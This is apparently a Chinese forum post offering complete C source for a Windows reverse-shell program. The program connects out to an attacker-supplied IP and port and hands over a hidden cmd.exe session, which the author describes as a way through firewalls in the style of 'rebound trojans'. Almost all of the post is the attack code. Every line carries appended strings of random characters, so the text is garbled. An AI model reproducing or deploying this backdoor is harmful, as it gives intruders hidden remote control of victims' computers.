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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .?*TU~S  
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/* ============================== S~Yu;  
Rebound port in Windows NT 70yM]C^  
By wind,2006/7 |RZI]H%  
===============================*/ ;@V1*7y  
#include d^^EfWU  
#include v}BXH4&Y  
&KVXU0F^z  
#pragma comment(lib,"wsock32.lib") : 5<u!-}  
4?.L+wL  
void OutputShell(); [ .c'22R6  
SOCKET sClient; AMc`qh  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D~7L~Q]xI  
dmk_xBy s|  
void main(int argc,char **argv) HiT j-O  
{ > PONu]^  
WSADATA stWsaData; wUcp_)aE|  
int nRet; F]6$4o[  
SOCKADDR_IN stSaiClient,stSaiServer; _q3|Ddm2LN  
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if(argc != 3) OmAa$L,'w  
{ Geyj`t  
printf("Useage:\n\rRebound DestIP DestPort\n"); ~<q^4w.=7C  
return; (K3eb  
} = `oGH  
<F<jx"/)  
WSAStartup(MAKEWORD(2,2),&stWsaData); I hPX/P  
QT7PCHP  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Wd]MwDcO  
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stSaiClient.sin_family = AF_INET; ]]8^j='P'  
stSaiClient.sin_port = htons(0); hvOl9W>  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {q|Om?@  
Bf{c4YiF  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |}naI_Qudv  
{ jRNDi_u?Wb  
printf("Bind Socket Failed!\n"); )jHH-=JM  
return; B:=VMX~GE  
} Bd>a"3fA  
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stSaiServer.sin_family = AF_INET; %rq/&#jC  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %3mh'Z -[f  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); d{*e0  
)T!3du:M  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) l&oc/$&|[  
{ SRek:S,  
printf("Connect Error!"); t$-!1jq  
return; ,8Q&X~$rY  
} )l[bu6bM  
OutputShell(); Rxk0^d:sNi  
} G'f5MP 1  
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void OutputShell() ^@OdY& 5^  
{ C] >?YR4  
char szBuff[1024]; j-9Zzgr  
SECURITY_ATTRIBUTES stSecurityAttributes; a/dq+  
OSVERSIONINFO stOsversionInfo; pT'jX^BU  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <zt124y-6  
STARTUPINFO stStartupInfo; $#/f+kble  
char *szShell; jCp`woV  
PROCESS_INFORMATION stProcessInformation; ] 8dzTEjk  
unsigned long lBytesRead; W+u-M>Cj6  
j6DI$tV~  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); p^*A&7d:P  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,WQg.neOA  
stSecurityAttributes.lpSecurityDescriptor = 0; WWG+0jQ9  
stSecurityAttributes.bInheritHandle = TRUE; i:\|G^h  
M}x]\#MMY  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Am"e%|:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,f^ ICM  
2+cpNk$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); a<CACWsN.T  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R/Z zmb{  
stStartupInfo.wShowWindow = SW_HIDE; ?z0N- A2C2  
stStartupInfo.hStdInput = hReadPipe; 8ib%CYR  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?3a:ntX h  
F P>.@ Y  
GetVersionEx(&stOsversionInfo); U *:E|'>  
]'5 G/H5?;  
switch(stOsversionInfo.dwPlatformId) 6 U_P  
{ M3Oqto<8"  
case 1: *=(vIm[KL  
szShell = "command.com"; ?,^ Aoy  
break; 1"UHe*2  
default: 9A ?)n<3d  
szShell = "cmd.exe"; AH?4F"  
break; v:?l C<,  
} ug^esB  
S<eB&qT$  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1:22y:^j  
y85R"d  
send(sClient,szMsg,77,0); 6|Xe ],u  
while(1) s"B2Whe  
{  D`3`5.b  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); FA!!S`{\  
if(lBytesRead) ()e|BFL.  
{ RAj>{/E#W  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); p> g[: ~  
send(sClient,szBuff,lBytesRead,0); vW4n>h}]  
} AL;4-(KH  
else vp(ow]Q  
{ #jM-XK  
lBytesRead=recv(sClient,szBuff,1024,0); Bu"5NB  
if(lBytesRead<=0) break; P7\?WN$p  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .FC|~Z1T<F  
} 8\Bb7*  
} <.hutU*1  
q![`3m-d.  
return; CaR-Yk   
}
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